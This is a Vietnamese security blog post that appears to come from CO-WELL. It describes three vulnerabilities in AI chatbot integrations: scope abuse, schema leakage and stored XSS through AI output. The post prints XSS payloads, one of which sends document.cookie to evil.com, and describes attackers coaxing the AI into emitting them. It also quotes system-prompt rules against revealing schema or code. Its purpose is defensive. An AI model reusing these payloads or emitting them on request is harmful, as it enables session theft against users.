Lỗ hổng bảo mật thường gặp trong hệ thống tích hợp AI

3 lỗ hổng bảo mật nghiêm trọng trong hệ thống tích hợp AI: lạm dụng phạm vi, để lộ schema database và Stored XSS qua AI output. Phân tích thực chiến từ Trần Hữu Tài – BrSE CO-WELL, kèm giải pháp kỹ thuật theo OWASP LLM Top 10."

05/06/2026

Trong thời đại AI bùng nổ như hiện nay, hầu hết các hệ thống mới đều có tích hợp sử dụng AI để làm tăng trải nghiệm người dùng trong lĩnh vực chuyên biệt. Ví dụ như tích hợp AI Chatbot vào hệ thống web đang tạo ra một lớp lỗ hổng bảo mật hoàn toàn mới mà nhiều developer chưa được chuẩn bị.

Dưới góc nhìn của người đang triển khai nhiều hệ thống lớn, anh Trần Hữu Tài – Chuyên gia bảo mật của CO-WELL chỉ ra 3 lỗ hổng bảo mật thường xảy ra khi hệ thống tích hợp AI từ Scope Abuse đẩy chi phí API mất kiểm soát, đến Stored XSS qua AI output kèm giải pháp kỹ thuật theo chuẩn OWASP LLM Top 10.

AI Chatbot không có kiểm soát phạm vi có thể bị lạm dụng để đẩy chi phí API lên theo cấp số nhân
AI tích hợp database có thể vô tình tiết lộ schema, tạo tiền đề cho SQL Injection chính xác hơn
Render output AI trực tiếp mà không sanitize có thể dẫn đến stored XSS đánh cắp session

Lỗ hổng bảo mật #1: Cho phép sử dụng AI ngoài phạm vi (Scope Abuse)

Hầu hết AI Chatbot được tích hợp để phục vụ một nghiệp vụ cụ thể như tư vấn sản phẩm, hỗ trợ khách hàng, tra cứu tài liệu nội bộ… Lỗ hổng này xảy ra khi hệ thống không có cơ chế kiểm soát phạm vi, cho phép người dùng khai thác AI ngoài mục đích thiết kế ban đầu.

Biểu hiện diễn ra thực tế:

Người dùng có thể sử dụng AI của hệ thống để dịch thuật
Người dùng có thể sử dụng AI của hệ thống để sinh ra đoạn mã python, php …
Người dùng có thể sử dụng AI của hệ thống để hỏi lĩnh vực chung
Người dùng có thể sử dụng AI của hệ thống để hỏi về sản phẩm, dịch vụ của bên khác (công ty cạnh tranh)

Rủi ro & ảnh hưởng

Những hành vi này cho phép thực hiện các cuộc gọi vượt quá phạm vi công việc dự toán, do đó dẫn đến chi phí API tăng bất thường và sự xâm phạm phạm vi dịch vụ. Đặc biệt, nếu đây là hệ thống công khai không yêu cầu xác thực và bên thứ ba có ý đồ xấu thực hiện một lượng lớn các cuộc gọi ngoài phạm vi, sẽ có nguy cơ chi phí tăng theo cấp số nhân.

Kịch bản tệ nhất: một tác nhân xấu viết script tự động gọi hàng nghìn request ngoài phạm vi, đẩy chi phí API lên mức không kiểm soát được trong vài giờ.

Giải pháp đề xuất

Thêm bước xác định phạm vi: triển khai bước phân loại đầu vào của người dùng và từ chối các yêu cầu không thuộc các lĩnh vực của hệ thống.
Thêm bộ lọc trước khi phản hồi cho người dùng: nếu phản hồi của AI chưa nội dung không liên quan hoặc chứ thông tin công ty cạnh tranh thì cần chặn và thay thế bằng phản hồi thích hợp.

Lỗ hổng bảo mật #2: Để lộ thông tin nhạy cảm qua phản hồi AI

Đây cũng được đánh giá là một lỗ hổng có mức độ nghiêm trọng cao. Phản hồi từ AI có chứa các thông tin như tên bảng, tên cột, câu lệnh SQL …

Khi AI được tích hợp với database hoặc nhận context về cấu trúc dữ liệu nội bộ, có nguy cơ mô hình vô tình tiết lộ thông tin schema qua các phản hồi. Đây là tiền đề trực tiếp cho các cuộc tấn công nâng cao hơn.

Ví dụ phản hồi rủi ro

Tên bảng: customers

Tên cột: companyName, contractValue, internalScore

Câu lệnh: DESCRIBE customers;

         SELECT * FROM customers WHERE id = ?

Rủi ro & ảnh hưởng

Ảnh hưởng trực tiếp: Khi kẻ tấn công sau khi nắm rõ cấu trúc bảng và tên cột thực tế, thì có thể nâng cao độ chính xác của các payload SQL Injection tăng lên đáng kể mà không cần blind enumeration.

Ảnh hưởng gián tiếp: Biết vị trí của dữ liệu nhạy cảm (cột nào trong nằm trong bảng nào chứa nội dung gì) kẻ tấn công sẽ tăng được độ chính xác của các cuộc tấn cồng trích xuất dữ liệu (data extraction) tiếp theo.

Giải pháp đề xuất

System prompt hardening: Chỉ thị rõ ràng trong system prompt rằng AI không được tiết lộ tên bảng, tên cột, câu lệnh SQL hoặc bất kỳ thông tin schema nào trong mọi bối cảnh hay mục địch nào, kể cả khi được yêu cầu vì mục đích debug hay kiểm tra.
Allowlist/blocklist filter trên output: Thay thế hoặc dừng phản hồi dựa trên danh sách cho phép, danh sách chặn các tên bảng và tên cột đã biết

Lỗ hổng bảo mật #3: Xử lý đầu ra không đúng cách dẫn đến Stored XSS

Đây là lỗ hổng bảo mật ở mức trung bình nhưng nếu giao diện hiển thị chưa được làm sạch, lịch sử trò chuyện được lưu trữ và có thể truy cập bởi bên thứ ba thì mức độ rủi ro cũng không thể xem thường.

Tình huống này thường xuất hiện, khi người dùng đưa ra yêu cầu tạo “ví dụ thông báo lỗi khi tải hình ảnh thất bại”, “ví dụ cảnh báo khi nhấn vào nút”… thì AI trả về kết quả có thể thực thi (bao gồm cả mã thực thi)

Ví dụ payload trong phản hồi AI

<img src="missing.jpg" onerror="alert(document.cookie);">

<a href=”javascript:fetch(‘https://evil.com?c=’+document.cookie)”>Click</a>

Kịch bản khai thác: Kẻ tấn công dẫn dụ AI trả về payload XSS (ví dụ: yêu cầu “tạo ví dụ thông báo lỗi khi tải ảnh thất bại”). Nếu phản hồi được lưu vào lịch sử trò chuyện, payload này được nhúng vĩnh viễn vào storage. Khi một user khác hoặc admin mở lịch sử đó mà endpoint không yêu cầu xác thực, payload thực thi dẫn đến đánh cắp Cookie hoặc Session Token.

Điều kiện leo thang mức độ nghiêm trọng

Lỗ hổng trở thành stored XSS khi: (1) lịch sử trò chuyện được lưu trữ server-side, và (2) endpoint xem lịch sử không yêu cầu xác thực hoặc cho phép truy cập cross-user.

Giải pháp đề xuất

Output rule trong system prompt: AI không được trả về mã có thể thực thi kể cả khi yêu cầu mang danh nghĩa kiểm tra, demo, hay tài liệu kỹ thuật. Nếu cần minh họa, AI chỉ được trả về dạng plain text mô tả.
HTML entity encoding trên output: Toàn bộ nội dung từ AI phải được encode HTML entities trước khi render (< → <). Không render raw HTML từ AI output.
Content Security Policy (CSP): Triển khai CSP header nghiêm ngặt để giới hạn nguồn script được phép thực thi, giảm thiểu tác động ngay cả khi có payload XSS lọt qua.

Ảnh hưởng, rủi ro

Việc chuỗi ký tự tấn công XSS có trong phản hồi của AI thì ảnh hưởng thực tế là hạn chế. Chủ yếu ảnh hưởng đến hình ảnh và thương hiệu.
Tuy nhiên, kết hợp với một vài yếu tố khác có thể ảnh hưởng trực tiếp. Ví dụ, Kẻ tấn công có thể tạo ra tình trạng chứa mã tấn công XSS mà chúng đã dẫn dụ trước đó được nhúng vĩnh viễn vào lịch sử tương tác với AI. Nếu bên thứ 3 mở được lịch sử trò chuyện đó mà không cần xác thực thì sẽ bị đánh cắp Cookie hoặc Session Token.

Ba lỗ hổng trên không phải đặc thù của một vendor hay framework cụ thể. Đây là hệ quả tất yếu của việc tích hợp AI mà không thiết kế bảo mật ngay từ đầu.

Nguyên tắc cốt lõi: Không tin tưởng đầu ra của LLM như trusted output. Mọi phản hồi từ AI cần được xử lý như untrusted user input phân loại, lọc, và encode trước khi hiển thị hoặc lưu trữ. Bảo mật trong hệ thống AI không phải là tính năng bổ sung sau khi launch; đó là yêu cầu thiết kế từ sprint đầu tiên.

Theo kinh nghiệm cá nhân, những lỗ hổng bảo mật này thường gặp trong hệ thống có tích hợp sử dụng AI. Để có thể đảm bảo hệ thống có thể đảm bảo được bảo mật thì ngay từ khi lên ý tưởng, thiết kế chúng ta cần xác định và đánh giá rủi ro cũng như áp dụng quy tắc tắc bảo mật.

Trần Hữu Tài

BrSE · CO-WELL Asia · CO-WELL Tech Academy Instructor

Anh Tài có hơn 10 năm kinh nghiệp trong lĩnh vực phát triển phần mềm, 5 năm kinh nghiệm về Security Testing cho hệ thống web và API cho nội bộ và khách hàng. Anh dẫn dắt đội nhóm thực hiện thiết kế, testing bảo mật nhiều hệ thống lớn cho khách hàng Nhật Bản. Anh sở hữu nhiều chứng chỉ quan trọng như Oracle Certified Java Programmer; Solutions Architect – Associate; Developer – Associate; Solutions Architect – Professional; DevOps Engineer – Professional.

CO-WELL TECH ACADEMY

Học bảo mật website từ chuyên gia thực chiến

Khóa học Thiết kế bảo mật Web an toàn tại CO-WELL Tech Academy được xây dựng bởi các BrSE có kinh nghiệm làm việc trong môi trường dự án Nhật Bản. Từ OWASP Top 10 đến bảo mật hệ thống AI, bạn học bằng case thực tế, không lý thuyết suông.

✓ OWASP Top 10 & LLM Top 10

✓ Auth, Session & API Security

✓ Bảo mật hệ thống tích hợp AI

✓ Mentor là BrSE CO-WELL

Xem nội dung khóa học →

Không cần kinh nghiệm bảo mật trước • Phù hợp Developer từ 1 năm kinh nghiệm

Bạn đang có băn khoăn nào cần được giải đáp?

Ba lỗ hổng phổ biến nhất gồm: (1) Cho phép sử dụng AI ngoài phạm vi dẫn đến chi phí API leo thang, (2) Để lộ thông tin schema database qua phản hồi AI tạo tiền đề cho SQL Injection, và (3) Xử lý đầu ra AI không đúng cách dẫn đến stored XSS có thể đánh cắp session token.

Cần kết hợp hai lớp: (1) Chỉ thị rõ trong system prompt rằng AI không được tiết lộ tên bảng, tên cột, câu lệnh SQL trong mọi bối cảnh. (2) Triển khai output filter với allowlist/blocklist các tên bảng đã biết để tự động chặn phản hồi chứa thông tin schema.

Khi phản hồi từ AI được render trực tiếp lên UI mà không sanitize, kẻ tấn công có thể dẫn dụ AI trả về HTML/JavaScript độc hại. Nếu phản hồi này được lưu vào lịch sử chat và endpoint xem lịch sử không yêu cầu xác thực, payload sẽ thực thi — dẫn đến stored XSS.

OWASP LLM Top 10 là danh sách rủi ro bảo mật dành riêng cho ứng dụng tích hợp Large Language Model, bổ sung các nguy cơ đặc thù như Prompt Injection, Training Data Poisoning, và Excessive Agency — những rủi ro không tồn tại trong ứng dụng web truyền thống. Hai danh sách nên được sử dụng song song khi đánh giá bảo mật hệ thống có AI.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat

Lỗ hổng bảo mật thường gặp trong hệ thống tích hợp AI